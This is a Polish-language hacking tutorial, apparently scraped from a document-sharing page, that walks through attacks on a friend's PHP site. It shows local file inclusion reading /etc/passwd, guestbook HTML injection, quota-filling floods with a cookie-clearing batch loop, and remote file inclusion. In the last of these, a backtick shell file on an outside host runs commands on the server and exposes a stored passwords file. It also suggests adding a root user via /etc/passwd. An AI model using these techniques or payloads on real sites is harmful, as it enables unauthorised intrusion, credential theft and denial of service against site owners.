============================
PHP HACKING 1.0
autor: Unknow
email: zaqtyleb@interia.pl
WWW: www.unknow.glt.pl
IRC: #plhack
GG: 5123512
============================
Witam.
Do napisania tego tekstu sklonila mnie strona www, ktora ostatnio widzialem.
Byla to strona mojego kolegi Zbuffera :) [nie pytajcie o adres, bo nie podam]
Czlowiek ten postanowil stworzyc serwis na temat "3ds Max" i wszystko bylo by
w miare OK, gdyby nie uzyl do jego tworzenia jezyka PHP :]
Na jego przykladzie przedstawie wam kilka mozliwych bledow, jakie mozna popelnic
w pisaniu kodu PHP. Strona mojego kolegi jest juz dosc dobrze zabezpieczona, ale
jednak nadal podatna na ataki.
No wiec zaczynamy!
1) Zbuffer postanowil zrezygnowac z ramek i w ich miejsce wpisac cos takiego:
if(!isset($id)) { $id='start.htm'; }
if ($id=="") {$id='start.htm';}
if (file_exists($id)){
$file=fopen($id,'r');
$dane=fread($file,filesize($id));
echo($dane);} else { echo('Nie ma takiej strony');}
?>
Wszystko wyglada ladnie - prawda?
Niby tak, ale spojrzcie na adres, jaki pojawia sie na pasku:
http://www.xxxxxxxxx.pl/index.php?id=start.htm
W adresie zawarta jest nazwa pliku do ktorego chcemy sie odwolac!
I co z tego? dla przykaldu wpisze tak:
http://www.xxxxxxxxx.pl/index.php?id=tajne.php
Co sie stalo? zobaczylem KOD ZRODLOWY jednego z jego tajnych plikow PHP ;]
Ale to nie wszystko! mozemy bardziej zaszalec:
http://www.xxxxxxxxx.pl/index.php?id=/etc/passwd
Oto rezultat:
root:x:0:0:root:/root:/bin/tcsh
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:Operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:Postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
W ten sposob mozna przegladac niemal kazdy plik na dysku ofiary!
Mowie niemal kazdy, bo tak naprawde mamy dostep tylko do tych danych,
ktore maja ustawione prawo czytania dla innych.
Powyzej widac tylko plik passwd, ale hasla sa ukryte w /etc/shadow
nie mamy oczywiscie praw dostepu do tego pliku, ale mozemy poprzegladac
inne pliki (np. konfiguracyjne) dzieki ktorym dowiemy sie czegos wiecej
o atakowanej maszynie.
Ok. bawimy sie dalej!
2) Pan Zbuffer postanowil zalozyc sobie ksiege gosci!
Jego ksiega, to istne "HackMe" ;))))
Pierwotna wersja wygladala (w uproszczeniu) tak:
$plik=fopen("baza.dat","a");
fputs($plik,"$kto
$komentarz
$email
$www
\r\n");
fclose($plik);}
?>
Ksiega zawierala oczywiscie wszsytkie inne dodatki zwiazane z formatowaniem tekstu,
jego kolorowaniem i zamykaniem w tabelki (facet jest w koncu grafikiem).
Ale na layoucie efektywnosc tej ksiegi sie skonczyla :(
Zalozmy, ze jestem tylko zewnetrznym obserwatorem i nie mam dostepu do kodu tego skryptu.
Pierwsza zecza jaka zapewne sproboje zrobic, to wpis z uzyciem tagow HTML'a :)
Tak wiec w formularzu slozacym do wpisywania tekstu do ksiegi, w miejscu wpisu wstawiam np.:
I juz mamy piekna rozowa tabelke, ktora nie miesic sie na ekranie i rozwala cala ksiege gosci.
Oczywiscie nie jestem bez serca, wiec zwrocilem Zbufferowi na to uwage.
Minely zaledwie 24, a Zbuffer przygotowal nastepna wersje kodu:
$plik=fopen("baza.dat","a");
$kto=strip_tags($kto);
$komentarz=strip_tags($komentarz);
$email=strip_tags($email);
$www=strip_tags($www);
fputs($plik,"$kto
$komentarz
$email
$www
\r\n");
fclose($plik);}
?>
Co prawda pomiedzy wersja poprzednia, a powyzsza bylo jeszcze wieeeeeeleeee innych,
ale oszczedze wam ich analicy, bo one wszystkie mialy ten sam blad:
nie filtrowaly WSZYSTKICH zmiennych. Poprzednie wersje wycinaly tagi tylko z pola
"komentarz" a przeciez mozna bylo wpisac tagi HTML'a do np. podpisu, adresu e-mail,
czy adresu WWW ;]
No ale coz... po kilku napisach HACKED wykonanych przez moich znajomych, ktorych
chce przy okazji pozdrowic:
- QbiQ i Qmin ;]
Zbuffer opracowal wersje "idealna", ktora filtrowala niemal wszystko, co sie dalo.
No fakt. Nie moglismy juz bawic sie jego ksiega przy uzyciu tagow HTML'a :(
Wiem, wiem... wiekszosc z was powie zapewne, ze moglismy sie odwolac bezposrednio
do pliku BAZA.DAT, ktry mial zapewne ustawione prawa 777. Tak tez robilismy,
ale uznalismy to za zagranie nieco niesportowe, wiec w pozniejszej "zabawie"
wykorzystywalismy tylko bugi w PHP ;]
Jenak filtrowanie ksiegi to nie wszystko. Gdy Qmin wqrzyl sie z powodu braku
widocznych bledow w skrypcie, postanowil, ze wpisze sie ladnie do ksiegi ;]
W tym celu przygotowal plik o wielkosci 0,5MB zawierajacy jedynie powtarzane w
kulko zdanie dotyczace ksiegi, ktorego tresci niestety nei pamietam ;]
Taki pliczek wkleil do formularza ksiegi i nacisnal przycisk [WYSLIJ].
Po przeladowaniu strony, okazalo sie, ze pasek postepu ladowania strony wlecze
sie jak zolw... musial w koncu sciagac te 500KB z serwerka ;]
W ten oto sposob ksiega gosci zostala odcieta od uzytkownikow modemowych :)
Qmin jednak nie poprzestal na laurach :) Nacisnal jeszcze kilka(nascie) razy
klawisz F5 i czekal, az sie Zbufferowi quota skonczy ;]
To tez jakis sposob do wqrzenia uzytkownika.
Niestety... zbuffer mial 50MB przestrzeni dyskowej, a to troche duzo jak na zapchanie
jednym plikiem TXT ;)
No ale coz... po kilku godzinach Zbuffer zalapal, ze cos jest nie tak i skasowal
wielki (kilka MB) plik baza.dat i poprawil skrypt wpisujacy dane do ksiegi :)
Ale taka zabawa nie byla zbyt tworcza... chcielismy przeciez wykrywac nowe bugi
w stronce Zbuffera, a nie ja niszczyc :)
Po zaledwie kilku godzinkach od zauwazenia bledu, Zbuffer opublikowal nowa
ponownie 'bezbledna' wersje formularza do wysylania wpisu :)
Na czym polegaly jego innowacje? Nasz kolega dopisal do pliku z formularzem
kikla skryptow napisancyh w JavaScript, ktore nie dopuszczaly do przekroczenia
pewnej dlugosci wpisu. W ten sposob, dlugosc wpisu lacznie z nickiem, mailem
i www nie mogla przekroczyc 500 bajtow. Byla to wedlug niego wartosc optymalna :)
Niby wszystko jest OK... ale zawsze jest jakies 'ale' ;))))
Oczywiscie szybko kapnalem sie, ze filtrowanie odbywa sie po stronie uzytkownika,
wiec mozna odwolac sie do skryptu 'dopisz.php' z paska adresu.
Testujac ten bug w pasku adresu wpisalem:
http://www.xxxxxxxxx.pl/dopisz.php?kto=unknow&komentarz=test&email=costam&www=wiadomo_co
Nacisnalem [enter] i odswierzylem strone z ksiega gosci.
Oczywiscie zgodnie z moimi oczekiwaniami, w ksiedze pojawil sie napis test.
Qmin oczywiscie nie mogl sie powstrzymac i w miejsce slowa 'test' wstawil ciag
znakow o dosc duzych rozmiarach, a nastepnie przydusil swoj ulubiony klawisz F5 :]
Efekty byly naturalnie takie same jak poprzednio...
Plik 'baza.dat' przytyl do okolo 10MB, wiec nie dalo sie go normalnie otworzyc przez
przegladarke ;]
O odkrytym bledzie naturalnie powiadomilismy Zbuffera, ktory przygotowal dla nas
kolejny level swojego 'hackme', czyli poprostu unowoczesnil kod swjej ksiegi ;]
Nowsza wersja books'a zawierala pewna inniwacje!
Zbuffer zastosowal mechanizm cookie! Jego 'ciasteczka' mialy zapobiegac ulubionej zabawie
Qmina polegajacej na duszeniu klawisza F5 ;] Czyli mowiac po ludzku, skrypt naszej ofiary
ustawial cookie o dacie waznosci ustawionej na 10 minut. Mowiac w skrocie, minimalny odstep
czasu jaki musial uplynac pomiedzy wpisami, to 10 minutek.
Ale oczywiscie nic nie stalo na przeszkodzie, aby zamiast tego 0,5MB, jakie Qmin wpisal do
adresu, wstawic np. odrazu 10MB. Takiej dawnki niestety nie wytrzymal IE Qmina, wiec ten
pomysl odpadl. Powtorzylem ten sam atak, co poprzednio, z ta roznica, ze napisalem sobie
malenki pliczek wsadowy (*.bat), ktory systematycznie kasowal wszystkie cookie z systemu.
Plik wsadowy uruchomilem w nieskonczonej petli w tle, a w przegladarce zastosowalem poprzedni
atak - czyli przyduszalem F5 ;] Takim sposobem ksiega Zbuffera ponownie urosla do jakis 3MB.
Zbuffer byl juz mocno wqrzony, wiec resztko swoich sil wystukal na klawiaturze kod, ktory
sprawil, ze filtrowanie rozmairu wpisu odbywalo sie po stronie serwera (PHP). Oczywiscie
wszystkie zabezpieczenia z cookie pozostaly, wiec Zbuffer doszedl do 'relanium' bedacego
niemal w 100% odpornego na ataki hackerskie.
3) Zbuffer postanowil zrobic sobie galerie swoich prac (kazda praca w oddzielnym pliku HTML)
Opisany wyzej sposob szybko powstalo mu kulka plikow, ktore chcial zagniezdzic na stronie
glownej z galeria, a jako ze niedawno poznal funkcje include() zrobil to tak:
if(!isset($id)) { $id='gal001.htm'; }
if ($id=="") {$id='gal001.htm';}
include($id);
?>
Powyzszy skrypt wklejal na strone zawartosc jego galerii.
Oczywisice standardowe wywolanie wygladalo:
http://www.xxxxxxxxx.pl/galeria.php?id=gal001.htm
Ten blad mozna wykorzystac w ten sam sposob, co pierwszy z prezentowanych bugow, ale
ta wersja bledu jest bardziej 'rozbudowana'. Daleczego? wystarczy wiedziec co robi
funkcja include(). Ona nie wkleja tekstu na strone! ona kopiuje zawartosc wskazanego
pliku i umieszca go w kodzie generowanej strony. Ale generacja strony odbywa sie przed
wyslaniem jej do uzytkownika, wiec mozna wykorzystac cos takiego:
- zakladam na swoim koncie plik 'back.txt' o nastepujacej zawartosci:
echo(`$co`);
?>
- wywoluje strone Zbuffera w nastepujacy sposob:
http://www.xxxxxxxxx.pl/galeria.php?id=http://www.unknow.glt.pl/back.txt&co=ls
- w rezultacie widze:
..
index.php
galeria.php
obrazki/
pliki/
kniga/
gal001.htm
gal002.htm
gal003.htm
gal004.htm
gal005.htm
gal006.htm
...
gal241.htm
gal242.htm
hasla.txt <-- O! cos ciekawego!
kursy/
upload/
- podgladam plik hasla.txt piszac: http://www.xxxxxxxxx.pl/hasla.txt
- znam juz hasla i loginy do jego forum.
Jak to zrobilem? juz tlumacze!
Zalozmy, ze URL wygladalby tak:
http://www.xxxxxxxxx.pl/galeria.php?id=http://www.unknow.glt.pl/back.txt
Wtedy skrypt Zbuffera po przerobieniu go przez system wygladalby nastepujaco:
if(!isset($id)) { $id='gal001.htm'; }
if ($id=="") {$id='gal001.htm';}
echo(`$co`);
?>
Dlaczego? bo w miejsce funkcji include() zostala wstawona zawartosc pliku do ktorego
odwolywala sie powyzsza funkcja. Moj skrypt celowo nie posiada rozszerzenia PHP, bo
gdyby funkcja include() odwolala sie do niego, to zapisala by tylko wynik wykonania
tego skryptu, a nie jego kod.
Pelne wywolanie skryptu wyglada tak:
http://www.xxxxxxxxx.pl/galeria.php?id=http://www.unknow.glt.pl/back.php&co=ls
Ostatni parametr przekazywany w adresie, to oczywiscie polecenie, ktore ma zostac
wykonane.
Uwaga! latwo sie pomylic:
echo('$co') i echo(`$co`) to jest roznica! pierwsze wypisze zawartosc zmiennej,
a drugie wykona polecenie zawarte w zmiennej!
W miejse LS w adresie mozna oczywiscie podstawic dowolna komende, ale uwaga!
zostanie ona wykonana z prawami uzytkownika, na ktorym uruchomiony jest serwer
apatche - czyli zwykle jest to 'nobody' a w przypadku lame-serwerow - 'root' ;]
W przypadku uzytkownika 'nobody' nie bedziesz mogl zrobic prawie nic :(
a jesli to bedzie 'root', to wystarczy dodac uzytkonika, dopisujac sie do
pliku /etc/passwd
-------------------------------------------
KONIEC
-------------------------------------------
To jest juz koniec... nie ma juz nic...
Greets:
Qmin, Qbiq, VeGo, Mangas, Authn... i oczywiscie Zbuffer :P
Do zobaczenia w nastepnym FAQ :]
EOF
Wyszukiwarka
Podobne podstrony:
php 2Biblioteka PHP Wysyłanie pliku na serwerk phpDelphi i PHPphp 2php 3PHP i Oracle Tworzenie aplikacji webowych od przetwarzania danych po AjaksaSpace Hack Poradnik PLinstructions for php scriptsPHP i MySQL Dla kazdegoJak złamać hasło na Onet poczte działa rewelacyjnie sposób na hasla password hack haker haslokurs phpwww mediweb pl sex wyswietl vad php id=703PHP JS readmewięcej podobnych podstron